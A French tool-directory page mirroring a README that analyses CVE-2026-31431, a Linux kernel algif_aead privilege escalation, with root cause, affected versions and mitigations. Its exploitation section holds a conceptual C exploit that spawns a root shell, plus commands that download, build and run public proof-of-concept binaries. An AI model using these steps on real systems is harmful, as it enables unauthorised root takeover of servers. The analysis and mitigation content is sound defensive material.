Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-31431-mitigacion — Analyse technique de CVE-2026-31431, une élévation de privilèges locale dans le noyau Linux au niveau du module algif_aead, incluant la cause racine, les versions affectées, le déroulement de l'exploitation et les stratégies d'atténuation. | Kitploit
Outils/GitHubGitHub/alvaroguzmancode/cve-2026-31431-mitigacion
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationApprentissage et Éducation
GitHubalvaroguzmancode/cve-2026-31431-mitigacion

CVE-2026-31431-mitigacion

Analyse technique de CVE-2026-31431, une élévation de privilèges locale dans le noyau Linux au niveau du module algif_aead, incluant la cause racine, les versions affectées, le déroulement de l'exploitation et les stratégies d'atténuation.

Voir le dépôt
Partager
145il y a 6 moisPas encore vérifié

CVE-2026-31431 — Analyse Technique Complète

Classification : Élévation de privilèges locale (LPE) — Noyau Linux
CVSS : 7,8 (Élevé)
Impact : utilisateur sans privilèges → root
Module concerné : algif_aead (sous-système AF_ALG du noyau)


Sommaire

  1. Pourquoi est-ce vulnérable ?
  2. Quelles versions sont concernées ?
  3. Comment l'exploiter
  4. Comment l'atténuer

1. Pourquoi est-ce vulnérable ?

Le sous-système AF_ALG

Le noyau Linux expose une interface cryptographique à l'espace utilisateur appelée AF_ALG (socket de famille AF_ALG). Cette interface permet aux processus sans privilèges d'utiliser les accélérateurs cryptographiques du noyau — chiffrement, hachage, génération de clés — sans avoir besoin de root.

L'un de ses modules est algif_aead, qui implémente le mode AEAD (Authenticated Encryption with Associated Data), utilisé par des algorithmes comme AES-GCM ou ChaCha20-Poly1305.

La faille racine

Le bug se situe dans la façon dont algif_aead gère les opérations sendmsg() + recvmsg() lorsque le buffer de sortie est plus petit que prévu. Le noyau exécute une opération de copie (copy_to_user) sans valider correctement la taille, ce qui provoque :

Buffer overflow → écriture hors limites dans la mémoire du noyau

Techniquement :

algif_aead_copy_sgl()
  └─ sg_copy_to_buffer()
       └─ memcpy vers une adresse partiellement contrôlée par l'utilisateur

Cette écriture hors limites permet de réécrire des structures de contrôle adjacentes du noyau en mémoire — en particulier des pointeurs de fonction ou des structures cred — pour élever les privilèges.

Pourquoi ne nécessite-t-il pas root pour être exploité ?

Parce que AF_ALG est disponible pour les utilisateurs sans privilèges. N'importe quel processus peut ouvrir un socket AF_ALG et envoyer des données sans authentification préalable. L'exploit ne nécessite aucune vulnérabilité auxiliaire.

// Cela peut être fait par n'importe quel utilisateur du système
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);

2. Quelles versions sont concernées ?

Noyaux vulnérables

Version du noyauConcerné ?
< 5.10Non (le module n'existait pas sous cette forme)
5.10 — 6.1.xOui ⚠️
6.2.xOui ⚠️ (inclut le noyau du PoC)
6.3+ avec correctif appliquéNon ✅

Distributions les plus exposées

DistributionNoyau typiqueCorrectif disponible ?
Ubuntu 23.04 (lunar)6.2.0❌ EOL — sans correctifs
Ubuntu 22.04 LTS5.15.x✅ Corrigé
Ubuntu 24.04 LTS6.8.x✅ Non concerné
Debian 12 (Bookworm)6.1.x✅ Corrigé
Arch Linux (2026-03+)6.8.x✅ Non concerné

Comment vérifier votre noyau

# Vérifier la version du noyau
uname -r

# Vérifier si le module vulnérable est chargé
lsmod | grep algif_aead

# Vérifier si AF_ALG est disponible
cat /proc/net/protocols | grep ALG

Exemple de sortie vulnérable

$ uname -r
6.2.0-20-generic

$ lsmod | grep algif_aead
algif_aead             20480  0
af_alg                 32768  3 algif_aead,algif_skcipher,algif_hash

⚠️ Si vous voyez algif_aead dans lsmod et que votre noyau est 6.2.x sur Ubuntu 23.04, vous êtes exposé.


3. Comment l'exploiter

⚠️ Avis éthique : Cette section est purement éducative. L'exploitation de systèmes sans autorisation explicite est illégale et punissable. Les exemples sont destinés à des environnements de laboratoire contrôlés.

Flux de l'exploit

1. Ouvrir un socket AF_ALG (algif_aead)
2. Envoyer sendmsg() avec un buffer surdimensionné
3. recvmsg() avec un buffer plus petit → déclenchement du bug
4. Écriture hors limites dans le tas du noyau
5. Réécrire cred->uid/gid à 0
6. execve("/bin/sh") → shell root

Exploit minimal conceptuel (C)

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>

int main(void) {
    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type   = "aead",
        .salg_name   = "gcm(aes)",
        .salg_feat   = 0,
        .salg_mask   = 0,
    };

    int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(fd, (struct sockaddr *)&sa, sizeof(sa));

    // Configurer une clé de 16 octets
    char key[16] = {0};
    setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
    setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);

    int op_fd = accept(fd, NULL, NULL);

    // Grand buffer → déclenchement de l'écriture hors limites
    char big_buf[4096] = {0};
    char small_buf[16] = {0};

    struct msghdr msg = {0};
    // ... construction du msghdr avec cmsg ALG_OP_ENCRYPT
    sendmsg(op_fd, &msg, 0);

    // recvmsg avec un buffer insuffisant → le noyau écrit hors limites
    recv(op_fd, small_buf, sizeof(small_buf), 0);

    // Si l'exploit a fonctionné, nous sommes maintenant root
    if (getuid() == 0) {
        printf("[+] Root obtenu !\n");
        execl("/bin/sh", "sh", NULL);
    }

    return 0;
}

Ceci est un schéma simplifié. L'exploit réel nécessite des primitives supplémentaires de mise en forme du tas pour aligner l'écriture hors limites avec la structure task_struct->cred.

PoCs publics connus

Les dépôts suivants contiennent des implémentations fonctionnelles documentées :

  • copy-fail-c — Exploit en C pur, nécessite une compilation
    https://github.com/tgies/copy-fail-c

  • copy-fail-tiny-elf — Binaire ELF autonome, ne nécessite pas de compilation
    https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431

Utilisation typique (laboratoire)

# Cloner et compiler copy-fail-c
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail

# Résultat attendu sur un système vulnérable :
# [*] Vérification du module algif_aead...
# [*] Préparation du spray de tas...
# [+] Écriture hors limites réussie
# [+] UID maintenant : 0
# # whoami
# root

Avec le binaire ELF (sans compilation)

wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail

Scénario d'attaque réel

Attaquant externe
      │
      ▼
Exploite une vulnérabilité web (RCE) → accès en tant que www-data
      │
      ▼
Télécharge copyfail sur le serveur (wget/curl)
      │
      ▼
Exécute ./copyfail
      │
      ▼
Shell root sur le serveur ✓

Temps estimé entre l'accès www-data et root : < 30 secondes.


4. Comment l'atténuer

Solution définitive — Mettre à jour le système

La seule solution réelle est d'avoir un noyau avec le correctif appliqué.

# Option 1 : Mise à niveau vers Ubuntu 24.04 LTS (recommandé)
do-release-upgrade

# Option 2 : Si vous avez déjà Ubuntu 22.04 LTS
sudo apt update && sudo apt dist-upgrade
sudo reboot
# Vérifier le noyau corrigé
uname -r   # doit être ≥ 5.15.0-107 sur Ubuntu 22.04

Atténuation immédiate — Désactiver le module vulnérable

Si vous ne pouvez pas mettre à jour immédiatement, désactivez algif_aead :

# Créer une blacklist du module
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf

# Régénérer initramfs pour que ce soit permanent
sudo update-initramfs -u

# Redémarrer
sudo reboot

Vérifier qu'il est bien désactivé :

lsmod | grep algif_aead
# Rien ne doit apparaître

⚠️ Cela peut casser les logiciels qui utilisent le chiffrement AEAD via AF_ALG (peu courant sur les serveurs web standard).


Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Boîte à outils red team côté navigateur avec 102 outils hors ligne pour la reconnaissance, la génération de payloads, les attaques par identifiants, la cryptographie, l'encodage et le reporting d'engagement.

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Le système d'action pour la cybersécurité native IA—où l'intention devient une exécution gouvernée, les preuves deviennent une mémoire opérationnelle, et chaque opération améliore la suivante.

    282

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →